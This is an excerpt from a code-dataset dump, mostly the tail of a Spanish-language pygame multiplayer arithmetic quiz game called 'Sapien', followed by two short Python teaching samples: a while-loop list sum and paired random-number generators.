i in animation_1:\n            pg_blit(i)\n            pg.display.update()\n            pg.time.wait(25)\n        pg.time.wait(700)\n        #for i in animation_2:\n        #    pg_blit(i)\n        #    pg.display.update()\n        #    pg.time.wait(35)\n        #pg.time.wait(1000)\n        screen_animation(color_from=BLACK, color_target=BACKGROUND)\n\n    if type == 'OK':\n        set(GREEN, 'Respuesta correcta!')\n    elif type == 'BAD':\n        set(RED, 'Respuesta incorrecta :(')\n    elif type == 'TIMESUP':\n        set( (255, 233, 0) , 'Se acabo el tiempo :/' )\n    \n    return pg.display.update(), pg.time.wait(100)\n    \n# THIS FUNCTION CHECKS IF THE MOUSE IS IN THE AREA OF OBJECT, QUANTITY ARGUMENT IS FOR THE COUNT, OBJECTS ARGUMENT MUST BE A LIST OF OBJECTS\ndef in_area(quantity, objects, x, y):\n    if quantity == 1:\n        if x in range(objects.area[0], objects.area[1]) and y in range(objects.area[2], objects.area[3]):\n            #logger.info(f'In area {objects.__str__()}')\n            return True\n    else:\n        for object in objects:\n            if x in range(object.area[0], object.area[1]) and y in range(object.area[2], object.area[3]):\n                #logger.info(f'In area {object.__str__()}')\n                return True\n\n# -------------------- Game instructions -----------------------------\n\ndef check_winner():\n    def msj(ganador):\n        if WINNER in PLAYER_LIST:\n            screen_animation(color_from=BACKGROUND,color_target=BLACK)\n            SCREEN.fill(BLACK)\n            #time.sleep(1)\n            \n            #print(f'y el ganador es...')\n            welcome = Text(text='Sapien', font_family=permanentmarker, size=25, color=BACKGROUND, x_ax=position_x_dot10, y_ax=position_y_dot10)\n            text1 = Text(text='y el ganador es...', font_family=roboto_light, size=50, color=BACKGROUND, y_ax=position_y_quarter1)\n            for i in (welcome, text1):\n                pg_blit(i)\n            pg.display.update()\n            pg.time.wait(1000)\n        \n            #time.sleep(1)\n            #print(f'\\ncon {ganador.puntos} puntos, producto de {ganador.aciertos} aciertos: \\n')\n            pg_blit( Text(text=f'con {ganador.puntos} puntos, producto de {ganador.aciertos} aciertos', font_family=roboto_light, size=40, color=BLUE, y_ax=position_y_center-50) )\n            pg.display.update()\n            pg.time.wait(2000)\n\n\n            #time.sleep(2)\n            the_winner = Button(text=f'{ganador.nombre}', font_family=roboto_light, size=60, color=BLUE, btn_size=[210,70], y_ax=position_y_center+50)\n            pg_blit(the_winner)\n            pg.display.update()\n            \n            pg_blit( Text(text=f'Presiona la tecla \"Q\" para salir', font_family=roboto_regular, size=35, color=BLUE, y_ax=position_y_dot80) )\n            pg.display.update()\n            #print(f'\\n{bcolors.WARNING}{ganador.nombre}!!!{bcolors.ENDC}\\n')\n        elif WINNER == 'SOLO'  :\n            screen_animation(color_from=BACKGROUND,color_target=BLACK)\n            SCREEN.fill(BLACK)\n            #time.sleep(1)\n            \n            #print(f'y el ganador es...')\n            welcome = Text(text='Sapien', font_family=permanentmarker, size=25, color=BACKGROUND, x_ax=position_x_dot10, y_ax=position_y_dot10)\n            text1 = Text(text=f'Has jugado solo {PLAYER_LIST[0].nombre}', font_family=roboto_light, size=50, color=BACKGROUND, y_ax=position_y_quarter1)\n            for i in (welcome, text1):\n                pg_blit(i)\n            pg.display.update()\n            pg.time.wait(500)\n        \n            #time.sleep(1)\n            #print(f'\\ncon {ganador.puntos} puntos, producto de {ganador.aciertos} aciertos: \\n')\n            pg_blit( Text(text=f'Has ganado {PLAYER_LIST[0].puntos} puntos, producto de {PLAYER_LIST[0].aciertos} aciertos', font_family=roboto_light, size=40, color=BLUE, y_ax=position_y_center-50) )\n            pg.display.update()\n            \n            pg_blit( Text(text=f'Presiona la tecla \"Q\" para salir', font_family=roboto_regular, size=35, color=BLUE, y_ax=position_y_dot80) )\n            pg.display.update()\n\n            #time.sleep(2)\n            pg.display.update()\n        elif WINNER == 'EMPATE!':\n        \n            screen_animation(color_from=BACKGROUND,color_target=BLACK)\n            SCREEN.fill(BLACK)\n            #time.sleep(1)\n            \n            #print(f'y el ganador es...')\n            welcome = Text(text='Sapien', font_family=permanentmarker, size=25, color=BACKGROUND, x_ax=position_x_dot10, y_ax=position_y_dot10)\n            text1 = Text(text='Hubo un empate!', font_family=roboto_light, size=50, color=BACKGROUND, y_ax=position_y_quarter1+200)\n            for i in (welcome, text1):\n                pg_blit(i)\n            pg.display.update()\n            pg.time.wait(1000)\n        \n            #time.sleep(1)\n            #print(f'\\ncon {ganador.puntos} puntos, producto de {ganador.aciertos} aciertos: \\n')\n\n            #time.sleep(2)\n            \n            pg_blit( Text(text=f'Presiona la tecla \"Q\" para salir', font_family=roboto_regular, size=35, color=BLUE, y_ax=position_y_dot80) )\n            pg.display.update()\n        else:\n            print('Okay, hubo un error extranio')\n    base = -999\n    for i in PLAYER_LIST:\n        if len(PLAYER_LIST) == 1:\n            print('Jaja jugaste solo (?')\n            WINNER = 'SOLO'\n        elif i.puntos == base:\n            WINNER = 'EMPATE!'\n        elif i.puntos > base:\n            base = i.puntos\n            WINNER = i\n    msj(WINNER)\n    #time.sleep(1.5)\n    for i in PLAYER_LIST:\n        print(f'Puntos de {i.nombre}: {i.puntos}')\n        if i.errores == []:\n            print(f'Jugador {i.nombre} no tuvo errores!')\n        else:\n            print(f'Errores de {i.nombre}: {i.errores}')\n    \n    second = 0\n    info_running = True\n    while info_running:\n        for event in pg.event.get():\n            if event.type == pg.QUIT:\n                sys.exit()\n            elif event.type == pg.USEREVENT:\n                second += 1\n                if second % 5 == 0:\n                    pass\n            elif event.type == pg.KEYDOWN and event.key == ord('q'):\n                #logger.info(f'Quitted by pressing \"{chr(event.key)}\"')\n                sys.exit()\n                    #logger.info(f'{second} seconds have elapsed in main screen')\n\n\ndef question(p, selection, reset_seconds):\n    screen_animation(type='IN', color_from=BLACK, color_target=BACKGROUND)\n    SCREEN.fill(BACKGROUND)\n\n    currently_playing = Button(text=f'       {p.nombre} - R {p.round}/{ cant_rounds[0] }', size=15, btn_size=[200,25] ,color=BACKGROUND, btn_color=BLACK, x_ax=position_x_dot10*0.65, y_ax=position_y_dot10*0.65)\n    text1 = Text(text=f'DADA LA SIGUIENTE OPERACION', font_family=roboto_thin ,size=30, color=LETTERS, y_ax=position_y_quarter1)\n   \n    pg_blit(currently_playing)\n    pg.display.update()\n    pg.time.wait(1000)\n    pg_blit(text1)\n    pg.display.update()\n    pg.time.wait(1000)\n\n    text_OP = Text(text=f' {selection} ', font_family=roboto_thin ,size=45, color=BLUE, y_ax=position_y_center*0.75)\n    text2 = Text(text=f'¿Cual es el resultado?', font_family=roboto_thin ,size=30, color=LETTERS, y_ax=position_y_center*1.1)\n\n    \n    pg_blit(text_OP)\n    pg.display.update()\n    pg.time.wait(1000)\n    pg_blit(text2)\n    pg.display.update()\n\n\n    def randomize(n, m):\n        zzz, yyy = random.randint(-20,20), round(random.uniform(0.85, 1.15),2)\n        zzz = round(TABLA_OPERACIONES[selection]+zzz)\n        yyy = round(TABLA_OPERACIONES[selection]*yyy)\n        tries = 0\n        while round(TABLA_OPERACIONES[selection])==zzz or round(TABLA_OPERACIONES[selection])==yyy and tries != 3:\n            #logger.info(tries)\n            tries += 1\n            if n == 1:\n                return (TABLA_OPERACIONES[selection]+random.randint(1,25))\n            elif m == 1:\n                return (TABLA_OPERACIONES[selection]+random.randint(-7,-1))\n        else:\n            if n ==  1:\n                #logger.info(zzz)\n                return zzz\n            elif m == 1:\n                #logger.info(yyy)\n                return yyy\n\n    btn1 = Button_round(text=f'{int(round(randomize(1,0)))}', color=BACKGROUND, btn_color=BLUE, x_ax=position_x_dot30, y_ax=position_y_dot70, value=int(round(randomize(1,0))) )\n    btn2 = Button_round(text=f'{int(TABLA_OPERACIONES[selection])}', color=BACKGROUND, btn_color=BLUE, x_ax=position_x_dot50, y_ax=position_y_dot70, value=int(TABLA_OPERACIONES[selection]))\n    btn3 = Button_round(text=f'{int(round(randomize(0,1)))}', color=BACKGROUND, btn_color=BLUE, x_ax=position_x_dot70, y_ax=position_y_dot70, value=int(round(randomize(0,1))) )\n\n    index_shuffle = [0,1,2]\n    random.shuffle(index_shuffle)\n\n    shuffled_options = {index_shuffle[0]:btn1, index_shuffle[1]:btn2, index_shuffle[2]:btn3}\n\n    shuffled_options[0].x_axis=position_x_dot30\n    shuffled_options[1].x_axis=position_x_dot50\n    shuffled_options[2].x_axis=position_x_dot70\n    \n    for key in shuffled_options:  \n        pg_blit(shuffled_options[key])\n    pg.display.update()\n\n    \n    def timer(seconds):\n        if seconds == 0:\n            show_this = Button(text='3', color=LETTERS, btn_color=LIGHTBLUE, btn_size=[60,60],size=30, x_ax=position_x_dot90+50, y_ax=position_y_dot90, value=int(TABLA_OPERACIONES[selection]))\n        elif seconds == 1:\n            show_this = Button(text='2', color=LETTERS, btn_color=LIGHTBLUE,btn_size=[65,65],size=34, x_ax=position_x_dot90+50, y_ax=position_y_dot90, value=int(TABLA_OPERACIONES[selection]))\n        elif seconds == 2:\n            show_this = Button(text='1', color=LETTERS, btn_color=LIGHTBLUE,btn_size=[70,70], size=37, x_ax=position_x_dot90+50, y_ax=position_y_dot90, value=int(TABLA_OPERACIONES[selection]))\n        elif seconds == 3:\n            show_this = Button(text='0!', color=BACKGROUND, btn_color=RED,btn_size=[75,75], size=40, x_ax=position_x_dot90+50, y_ax=position_y_dot90, value=int(TABLA_OPERACIONES[selection]))\n        else:\n            return\n        if seconds in (0,1,2,3):\n            clock_tick.play()\n        return pg_blit(show_this), pg.display.update()\n    \n    second, countdown = 0, 0\n    question_running = True\n    while question_running:\n        for event in pg.event.get():\n            rel_x, rel_y = pg.mouse.get_pos()\n            if event.type == pg.QUIT:\n                question_running = False\n                sys.exit()\n            elif event.type == pg.MOUSEMOTION and in_area(3, (btn1, btn2, btn3), rel_x, rel_y):\n                if second % 2 == 0:\n                    #logger.info(f'Mouse moved X={rel_x}  Y={rel_y}')\n                    pass\n            elif event.type == pg.MOUSEBUTTONDOWN and second % 0.5 == 0 and in_area(3, (btn1, btn2, btn3), rel_x, rel_y):\n                if in_area(1, (btn2), rel_x, rel_y):\n                    p.aciertos += 1\n                    p.puntos += 2\n                    checkmark.play()\n                    #logger.info(f'Jugador {p.nombre} +1 acierto ({p.aciertos}), +2 puntos ({p.puntos})')\n                    choose_animation(type='OK')\n                    #logger.info('Respuesta Correcta')\n                    question_running = False\n                elif in_area(2, (btn1, btn3), rel_x, rel_y): \n                    if in_area(1, (btn1), rel_x, rel_y): \n                        clock_tick.stop()\n                        choose_animation(type='BAD')\n                        wrong_answer.play()\n                        #logger.info('Respuesta incorrecta')\n                        p.puntos -= 1\n                        p.errores.append(f'En round {p.round} -> {selection} = {btn1.value}')\n                        question_running = False\n                    elif in_area(1, (btn3), rel_x, rel_y): \n                        clock_tick.stop()\n                        wrong_answer.play()\n                        choose_animation(type='BAD')\n                        #logger.info('Respuesta incorrecta')\n                        p.puntos -= 1\n                        p.errores.append(f'En round {p.round} -> {selection} = {btn2.value}')\n                        question_running = False\n                    #logger.info(f'Anadido error Nro {len(p.errores)} en round {p.round} para jugador {p.nombre}: {select} = {str(respuesta)}')\n                    #logger.info(f'Jugador {p.nombre} -1 puntos ({p.puntos}), total errores: {len(p.errores)}')\n\n            # yep... all the 'animations' take time from timers, you can see it while player one plays his first round, so:\n            elif event.type == pg.USEREVENT:\n                second += 1\n\n                if p.nombre == PLAYER_LIST[0].nombre and p.round==1:\n                    if 13 >= second >= 10:\n                        countdown += 1\n                else:\n                    if 10 >= second >= 7:\n                        countdown += 1\n                        \n                timer(countdown)\n                #logger.info(f'{second} seconds have elapsed in main screen')\n                #logger.info(f'{countdown} (countdown) seconds have elapsed in main screen') \n                pass\n                if countdown >= 3:\n                    clock_tick.set_volume(0.0)\n                    if countdown == 3:\n                        choose_animation(type='TIMESUP')\n                        wrong_answer.play()\n                        #logger.info(f'Se acabo el tiempo.')\n                        p.puntos -= 1\n                        p.errores.append(f'En round {p.round} -> {selection}')\n                        question_running = False\n\n\ndef Sapien(p):\n    p.round += 1\n    SCREEN.fill(BLACK)\n    welcome = Text(text='Sapien', font_family=permanentmarker, size=25, color=BLUE, x_ax=position_x_dot10, y_ax=position_y_dot10)\n    select = random.choice(list(TABLA_OPERACIONES.keys()))\n    key_operation = str(select)\n\n    #logger.info(select)\n    \n    ##logger.debug(f'Jugador {p.nombre}, round {p.round} => Operacion aleatoria seleccionada \\'{select}\\' respuesta: {int(TABLA_OPERACIONES[select])}')\n\n\n    jugadorX = Button(text=f'Jugador {p.nombre}', size=60, color=BACKGROUND, btn_color=BLACK, y_ax=position_y_quarter3-50)\n    roundX = Button(text=f'Round Nro {p.round}', size=60, color=BACKGROUND, btn_color=BLACK, y_ax=position_y_quarter1)\n    \n    #logger.info(f'RONDA {p.round} \\n\\nJUGADOR {bcolors.WARNING} {p.nombre}{bcolors.ENDC},')\n    for i in (welcome, jugadorX, roundX):\n        pg_blit(i)\n    pg.display.update()\n    pg.time.wait(1000)\n    seconds = 0\n    question(p, select, seconds)\n\n    # Elimina la opcion elegida por el sistema para evitar que haya dos juegos iguales\n    TABLA_OPERACIONES.pop(key_operation)\n\n\ndef pre_game(seconds_animation=3):\n    target_screen = (BLUE, BLACK, (119,136,153), WHITE)\n    letters = (WHITE, BLACK, BLACK)\n\n    for i in range(seconds_animation):\n        screen_animation(color_from=target_screen[i], color_target=target_screen[i+1])\n        pg_blit( Text(text=str(-i+3), font_family=permanentmarker, size=180+i*150, color=letters[i] ))\n        pg.display.update()\n        pg.time.wait(500)\n    screen_animation(type='IN',color_from=WHITE, color_target=BLACK)\n\n    for p in PLAYER_LIST:\n        for g in range(cant_rounds[0]):\n            Sapien(p)\n    check_winner()\n     \n\ndef player_names():\n    pg.display.flip()\n    player_name = list()\n    player_name.append('')\n    #logger.info(player_name)\n    \n    sapien_title = Text(text='Sapien', font_family=permanentmarker, size=25, color=BLACK, x_ax=position_x_dot10, y_ax=position_y_dot10)\n    pg_blit(sapien_title)\n\n    def name_refresh(index, key, action):\n        if action == 'add':\n            player_name[index] += key\n            #logger.info(player_name[index])\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[310,65], btn_color=GREEN))\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[305,60], btn_color=LETTERS))\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[300,55], btn_color=(45,76,200)))\n            pg.display.update()\n            pg.time.wait(100)\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[310,65], btn_color=LETTERS))\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[300,55], btn_color=BLUE))\n        elif action == 'backspace':\n            player_name[index] = player_name[index][0:len(player_name[index])-1]\n            #logger.info(player_name[index])\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[310,65], btn_color=RED))\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[305,60], btn_color=LETTERS))\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[300,55], btn_color=(45,76,200)))\n            pg.display.update()\n            pg.time.wait(100)\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[310,65], btn_color=LETTERS))\n            pg_blit(Button(text=player_name[index], size=35, color=BACKGROUND, btn_size=[300,55], btn_color=BLUE))\n        pg_blit(Button(text=f'{len(player_name[index])}/10',font_family=roboto_light, size=20, btn_size=[50,50], btn_color=BACKGROUND,x_ax=position_x_dot70))\n        pg_blit(Button(text='', btn_color=BACKGROUND, size=15, btn_size=[500,45], y_ax=position_y_dot60+20)) \n        pg.display.update()\n    \n    for i in range(0,cant_jugadores[0]):\n        player_names_running = True\n        player_name.append('')\n\n\n    # I could make some button/s for choosing background color\n        screen_animation(type='IN', color_from=BLACK, color_target=BACKGROUND)\n        SCREEN.fill(BACKGROUND)\n        pg_blit(Text(font_family=roboto_thin, text=f'Ingrese nombre para J{i+1} (de {cant_jugadores[0]})', y_ax=position_y_dot40))\n        position_x_player_init = position_x_quarter1\n        for each in PLAYER_LIST:\n            each = Button(font_family=roboto_light_italic, text=each.nombre, x_ax=position_x_player_init, y_ax=position_y_dot80)\n            position_x_player_init += 250\n            pg_blit(each)\n        pg_blit(Button(text='', size=35, btn_size=[315,70], color=BACKGROUND, btn_color=LETTERS))\n        pg_blit(Button(text='', size=35, btn_size=[300,55], color=BACKGROUND, btn_color=BLUE))\n        pg.display.update()\n        while player_names_running:\n            for event in pg.event.get():\n                if event.type == pg.QUIT:\n                    sys.exit()\n                elif event.type == pg.KEYDOWN and event.key== 8 and len(player_name[i]) != 0:\n                    key = chr(event.key)\n                    name_refresh(i, key, 'backspace')\n                elif event.type == pg.KEYDOWN and event.key in ord_ascii_letters and len(player_name[i]) != 10:\n                    key = chr(event.key)\n                    name_refresh(i, key, 'add')\n                elif event.type == pg.KEYDOWN and event.key in ord_ascii_letters and len(player_name[i]) == 10:\n                    pg_blit(Button(text='10 caracteres maximo por favor', btn_color=BACKGROUND, size=15, btn_size=[500,45], y_ax=position_y_dot60+20)) \n                    pg.display.update()\n                    pg.time.wait(100)\n                    pg_blit(Button(text='', color=RED, btn_color=BACKGROUND, btn_size=[500,45], y_ax=position_y_dot80))\n                    pg.display.update()\n                elif event.type == pg.KEYDOWN and event.key == pg.K_RETURN and len(player_name[i]) == 0:\n                    pg.display.update()\n                    pg_blit(Button(text='Ingrese al menos un caracter', btn_color=BACKGROUND, size=15, btn_size=[500,45], y_ax=position_y_dot60+20))\n                    pg.time.wait(100)\n                    pg.display.update()\n                elif event.type == pg.KEYDOWN and event.key == pg.K_RETURN and len(player_name[i]) != 0:\n                    pg_blit(Button(text='', size=35, btn_size=[300,55], btn_color=BLUE))\n                    pg.display.update()\n                    player_created = Jugador(player_name[i])\n                    PLAYER_LIST.append(player_created)\n                    #logger.info(PLAYER_LIST)\n                    player_names_running = False\n            continue\n    pre_game()\n\n\ndef set_rounds():\n    pg.display.flip()\n    # NICE TRANSITION, BRO\n    screen_animation(type='OUT', color_from=RED, color_target=BLUE)\n    \n    sapien_title = Text(text='Sapien', font_family=permanentmarker, size=25, color=BLACK, x_ax=position_x_dot10, y_ax=position_y_dot10)\n    choose_playerst1 = Text(text='Selecciona la cantidad de rounds', font_family=roboto_regular, size=35, color=BACKGROUND, y_ax=position_y_quarter1)\n    choose_playerst2 = Text(text='Utilice las esferas debajo', font_family=roboto_light_italic, size=25, color=BACKGROUND, y_ax=position_y_dot40)\n    choose_1 = Button_round(text='1', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot20, y_ax=position_y_dot60, value=1)\n    choose_2 = Button_round(text='2', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot40, y_ax=position_y_dot60, value=2)\n    choose_3 = Button_round(text='3', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot60, y_ax=position_y_dot60, value=3)\n    choose_4 = Button_round(text='4', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot80, y_ax=position_y_dot60, value=4)\n    choose_5 = Button_round(text='5', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot20, y_ax=position_y_dot80, value=5)\n    choose_6 = Button_round(text='6', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot40, y_ax=position_y_dot80, value=6)\n    choose_7 = Button_round(text='7', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot60, y_ax=position_y_dot80, value=7)\n    choose_8 = Button_round(text='8', color=BLACK, btn_color=BACKGROUND, x_ax=position_x_dot80, y_ax=position_y_dot80, value=8)\n\n    for i in (sapien_title,choose_playerst1, choose_playerst2, choose_1, choose_2, choose_3, choose_4, choose_5, choose_6, choose_7, choose_8):\n        pg_blit(i)\n    pg.display.update()\n    second = 0\n    set_rounds_running = True\n    while set_rounds_running:\n        for event in pg.event.get():\n            rel_x, rel_y = pg.mouse.get_pos()\n            if event.type == pg.QUIT:\n                sys.exit()\n            elif event.type == pg.MOUSEMOTION and in_area(8, (choose_1, choose_2, choose_3, choose_4, choose_5, choose_6, choose_7, choose_8), rel_x, rel_y):\n                if second % 2 == 0:\n                    #logger.info(f'Mouse moved X={rel_x}  Y={rel_y}')\n                    pass\n            elif event.type == pg.MOUSEBUTTONDOWN and in_area(8, (choose_1, choose_2, choose_3, choose_4, choose_5, choose_6, choose_7, choose_8), rel_x, rel_y):\n                    #logger.info(f'Clicked! X={rel_x}, Y={rel_y}')\n                    hover.play()\n                    pg.time.wait(10)\n\n                    def choose_rounds(button_class):\n                        cant_rounds.append(button_class.value)\n                        #logger.info(f'Cantidad de rounds: {cant_rounds}')\n                        player_names()\n\n                    if in_area(1, (choose_1), rel_x, rel_y): choose_rounds(choose_1) #logger.info('JUGADORES 1'), \n                    elif in_area(1, (choose_2), rel_x, rel_y): choose_rounds(choose_2) #logger.info('JUGADORES 2'), \n                    elif in_area(1, (choose_3), rel_x, rel_y): choose_rounds(choose_3) #logger.info('JUGADORES 3'), \n                    elif in_area(1, (choose_4), rel_x, rel_y): choose_rounds(choose_4) #logger.info('JUGADORES 4'), \n                    elif in_area(1, (choose_5), rel_x, rel_y): choose_rounds(choose_5) #logger.info('JUGADORES 5'), \n                    elif in_area(1, (choose_6), rel_x, rel_y): choose_rounds(choose_6) #logger.info('JUGADORES 6'), \n                    elif in_area(1, (choose_7), rel_x, rel_y): choose_rounds(choose_7) #logger.info('JUGADORES 7'), \n                    elif in_area(1, (choose_8), rel_x, rel_y): choose_rounds(choose_8) #logger.info('JUGADORES 8'), \n                    set_rounds_running = False\n                    \n                    \n            elif event.type == pg.USEREVENT:\n                second += 1\n                if second % 5 == 0:\n                    #logger.info(f'{second} seconds have elapsed in main screen')\n                    pass\n            elif event.type == pg.KEYDOWN and event.key == ord('q'):\n                #logger.info(f'Quitted by pressing \"{chr(event.key)}\"')\n                sys.exit()\n\n\ndef set_players():\n    pg.display.flip()\n    # NICE TRANSITION, BRO\n    screen_animation(type='IN', color_from=WHITE, color_target=RED)\n\n    sapien_title = Text(text='Sapien', font_family=permanentmarker, size=25, color=BLACK, x_ax=position_x_dot10, y_ax=position_y_dot10)\n    choose_playerst1 = Text(text='Selecciona la cantidad de jugadores', font_family=roboto_regular, size=35, color=BLACK, y_ax=position_y_quarter1)\n    choose_playerst2 = Text(text='Utilice las esferas debajo', font_family=roboto_light_italic, size=25, color=BLACK, y_ax=position_y_dot40)\n    choose_1 = Button_round(text='1', color=BACKGROUND, btn_color=BLACK, x_ax=position_x_dot20, y_ax=position_y_dot70, value=1)\n    choose_2 = Button_round(text='2', color=BACKGROUND, btn_color=BLACK, x_ax=position_x_dot40, y_ax=position_y_dot70, value=2)\n    choose_3 = Button_round(text='3', color=BACKGROUND, btn_color=BLACK, x_ax=position_x_dot60, y_ax=position_y_dot70, value=3)\n    choose_4 = Button_round(text='4', color=BACKGROUND, btn_color=BLACK, x_ax=position_x_dot80, y_ax=position_y_dot70, value=4)\n\n    for i in (sapien_title,choose_playerst1, choose_playerst2, choose_1, choose_2, choose_3, choose_4):\n        pg_blit(i)\n    pg.display.update()\n\n    second = 0\n    set_players_running = True\n    while set_players_running:\n        for event in pg.event.get():\n            rel_x, rel_y = pg.mouse.get_pos()\n            if event.type == pg.QUIT:\n                sys.exit()\n            elif event.type == pg.MOUSEMOTION and in_area(4, (choose_1, choose_2, choose_3, choose_4), rel_x, rel_y):\n                if second % 2 == 0:\n                    #logger.info(f'Mouse moved X={rel_x}  Y={rel_y}')\n                    pass\n            elif event.type == pg.MOUSEBUTTONDOWN and in_area(4, (choose_1, choose_2, choose_3, choose_4), rel_x, rel_y):\n                    #logger.info(f'Clicked! X={rel_x}, Y={rel_y}')\n                    hover.play()\n                    pg.time.wait(10)\n\n                    def choose_players(button_class):\n                        cant_jugadores.append(button_class.value)\n                        #logger.info(cant_jugadores)\n\n                    if in_area(1, (choose_1), rel_x, rel_y): choose_players(choose_1) #logger.info('JUGADORES 1'), \n                    elif in_area(1, (choose_2), rel_x, rel_y): choose_players(choose_2) #logger.info('JUGADORES 2'), \n                    elif in_area(1, (choose_3), rel_x, rel_y): choose_players(choose_3) #logger.info('JUGADORES 3'), \n                    elif in_area(1, (choose_4), rel_x, rel_y): choose_players(choose_4) #logger.info('JUGADORES 4'), \n\n                    set_players_running = False\n                    set_rounds()\n                    \n            elif event.type == pg.USEREVENT:\n                second += 1\n                if second % 5 == 0:\n                    #logger.info(f'{second} seconds have elapsed in main screen')\n                    pass\n            elif event.type == pg.KEYDOWN and event.key == ord('q'):\n                #logger.info(f'Quitted by pressing \"{chr(event.key)}\"')\n                sys.exit()\n\n\ndef info():\n    pg.display.flip()\n    screen_animation(type='IN', color_target=BLUE)\n    SCREEN.fill(BACKGROUND)\n\n    second = 0\n    game_info = Button(font_family=roboto_regular, btn_color=BLUE, btn_size=[WIDTH*0.90, HEIGHT*0.90], text='')\n    title = Text(font_family=roboto_light_italic, size=50,color=WHITE, text='Sapien,', y_ax=position_y_quarter1-50)\n    lines = [\n        'Sapien es un juego matematico multijugador en el cual se les',\n        'presentaran diferentes operaciones matematicas, para las',\n        'cuales tendras opciones para responder.',\n        'El jugador mas puntos tenga, ganara',\n        '',\n        'Nota: Los errores quitan puntos'\n    ]\n\n    _continue = Button(text='Okay', color=BLACK, btn_color=GREEN, y_ax=position_y_quarter3+60)\n\n    for i in (game_info, title, _continue):\n        pg_blit(i)\n\n    line_pos = HEIGHT//3-15\n    for i in range(len(lines)):\n        i = Text(size=30, text=lines[i], color=BACKGROUND, y_ax=line_pos)\n        line_pos += 50\n        pg_blit(i)\n    pg.display.update()\n\n    info_running = True\n    while info_running:\n        for event in pg.event.get():\n            rel_x, rel_y = pg.mouse.get_pos()\n            if event.type == pg.QUIT:\n                sys.exit()\n            elif event.type == pg.MOUSEMOTION and in_area(1, (_continue), rel_x, rel_y):\n                if second % 0.5 == 0:\n                    #logger.info(f'Mouse moved: X={rel_x}  Y={rel_y}')\n                    pass\n            elif event.type == pg.MOUSEBUTTONDOWN and second % 0.5 == 0 and in_area(1, (_continue), rel_x, rel_y):\n                #logger.info(f'Clicked: X={rel_x}  Y={rel_y}')\n                hover.play()\n                info_running = False\n                set_players()\n            elif event.type == pg.USEREVENT:\n                second += 1\n                if second % 5 == 0:\n                    pass\n                    #logger.info(f'{second} seconds have elapsed in main screen')\n\n\ndef main_screen():\n    SCREEN.fill(BACKGROUND)\n    welcome = Text(text='Sapien', font_family=permanentmarker, size=140, color=BLUE, y_ax=position_y_quarter1)\n    game_btn = Button(text='New Game', color=BLACK, btn_color=GREEN, x_ax=position_x_quarter1, y_ax=position_y_quarter3)\n    quit_btn = Button(text='Quit Game', color=WHITE, btn_color=RED, x_ax=position_x_quarter3, y_ax=position_y_quarter3)\n\n    for i in (welcome, game_btn, quit_btn):\n        pg_blit(i)\n    pg.display.update()\n\n    second = 0\n    main_running = True\n    while main_running:\n        for event in pg.event.get():\n            rel_x, rel_y = pg.mouse.get_pos()\n            if event.type == pg.QUIT:\n                sys.exit()\n            elif event.type == pg.MOUSEMOTION and second % 1 == 0:\n                if second % 2 == 0 and in_area(2, (game_btn, quit_btn), rel_x, rel_y):\n                    #logger.info(f'Mouse moved X={rel_x}  Y={rel_y}')\n                    pass\n            elif event.type == pg.MOUSEBUTTONDOWN and in_area(1, (game_btn), rel_x, rel_y):\n                if second % 0.5 == 0:\n                    #logger.info(f'Clicked X={rel_x}  Y={rel_y}')\n                    hover.play()\n                    main_running = False\n                    info()\n            elif event.type == pg.MOUSEBUTTONDOWN and in_area(1, (quit_btn), rel_x, rel_y):\n                if second % 0.5 == 0:\n                    #logger.info(f'Clicked X={rel_x}  Y={rel_y}')\n                    hover.play()\n                    main_running = False\n                    pg.time.wait(10)\n                    sys.exit()\n            elif event.type == pg.USEREVENT:\n                second += 1\n                if second % 5 == 0:\n                    #logger.info(f'{second} seconds have elapsed in main screen')\n                    pass\n            elif event.type == pg.KEYDOWN and event.key == ord('q'):\n                #logger.info(f'Quitted by pressing \"{chr(event.key)}\"')\n                sys.exit()\n\n\nif __name__ == '__main__':\n    main_screen()\n\n\n# Quit after everything...\npg.quit()\nsys.exit()","repo_name":"rei-rala/Sapien","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":45282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40661628751","text":"#!/usr/bin/python\n\n# while_kwd.py\n\nnumbers = [22, 34, 12, 32, 4]\nsum = 0\n\ni = len(numbers)\n\nwhile (i != 0):\n    \n   i -= 1\n   sum = sum + numbers[i]\n\nprint (\"The sum is:\", sum)\n","repo_name":"janbodnar/Python-Course","sub_path":"keywords/while_kwd.py","file_name":"while_kwd.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"22"}
+{"seq_id":"42662552969","text":"\"\"\"Task: create output for each pair of values from functions\nfunction1 and function2:\nv1 --- v2\n\"\"\"\nimport random\n\n\ndef func1():\n    for x in range(10**10000):\n        v1 = random.randint(0, x)\n        yield v1\n\n\ndef func2():\n    for x in range(10**10000):\n        v2 = random.randint(0, x)\n        yield v2\n\n\ndef main():\n    v1 = func1()\n    v2 = func2()\n    while True:\n        try:\n            print(next(v1), end=' -- ')\n            print(next(v2))\n        except Exception as e:\n            print(e)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ibarbylev/client-server-apps","sub_path":"lesson_8/examples/asyncio/asyncio_1.py","file_name":"asyncio_1.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
